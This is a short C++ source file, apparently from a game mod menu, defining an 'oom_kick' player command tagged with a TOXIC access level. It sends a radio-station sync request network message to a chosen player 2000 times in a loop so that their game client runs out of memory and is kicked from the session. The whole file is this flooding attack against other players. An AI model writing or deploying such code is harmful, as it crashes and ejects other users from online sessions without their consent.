#include "backend/player_command.hpp" #include "packet.hpp" #include namespace big { class oom_kick : player_command { using player_command::player_command; virtual CommandAccessLevel get_access_level() override { return CommandAccessLevel::TOXIC; } virtual void execute(player_ptr player, const command_arguments& _args, const std::shared_ptr ctx) override { if (!player || !player->is_valid()) return; packet msg{}; msg.write_message(rage::eNetMessage::MsgRadioStationSyncRequest); auto msg_id = player->get_session_player()->m_msg_id; for (int j = 0; j < 2000; j++) { msg.send(msg_id); } } }; oom_kick g_oom_kick("oomkick", "OOM_KICK_CMD", "OOM_KICK_CMD_DESC", 0, false); }